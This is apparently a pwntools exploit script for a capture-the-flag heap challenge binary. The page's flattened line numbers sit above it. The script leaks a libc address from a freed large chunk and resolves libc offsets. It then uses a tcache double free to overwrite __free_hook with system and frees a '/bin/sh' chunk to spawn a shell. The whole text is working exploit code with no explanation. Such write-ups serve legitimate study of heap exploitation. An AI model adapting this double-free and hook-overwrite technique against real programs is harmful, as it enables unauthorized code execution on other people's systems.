1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from LibcSearcher3 import * context(arch='amd64',log_level='debug')
p = process("./pwn")
elf = ELF("./pwn") free_got = elf.got['free']
def bug(): gdb.attach(p) pause()
def choice(idx): p.sendlineafter("choice:",str(idx))
''' struct Chunk{ Chunk* chunk; int size; } '''
def add(size,name,call): choice(1) p.sendlineafter("Please input the size of compary's name\n",str(size)) p.sendlineafter("please input name:\n",name) p.sendlineafter("please input compary call:\n",call)
def show(idx): choice(2) p.sendlineafter("Please input the index:",str(idx))
def free(idx): choice(3) p.sendlineafter("Please input the index:",str(idx))
add(0x410,b'aaaa',b'0') add(0x20,b'bbbb',b'1') add(0x20,b'/bin/sh\x00',b'2')
free(0) bug() show(0) p.recvuntil("name:\n") malloc_hook = u64(p.recv(6)+b'\x00\x00')-96-0x10 success("malloc_hook : " + hex(malloc_hook))
libc = LibcSearcher('__malloc_hook',malloc_hook) base = malloc_hook - libc.dump('__malloc_hook') system = base + libc.dump('system') free_hook = base + libc.dump('__free_hook')
free(1) free(1)
add(0x20,p64(free_hook),b'1') add(0x20,b'bbbb',b'1') add(0x20,p64(system),b'4')
free(2) p.interactive()
|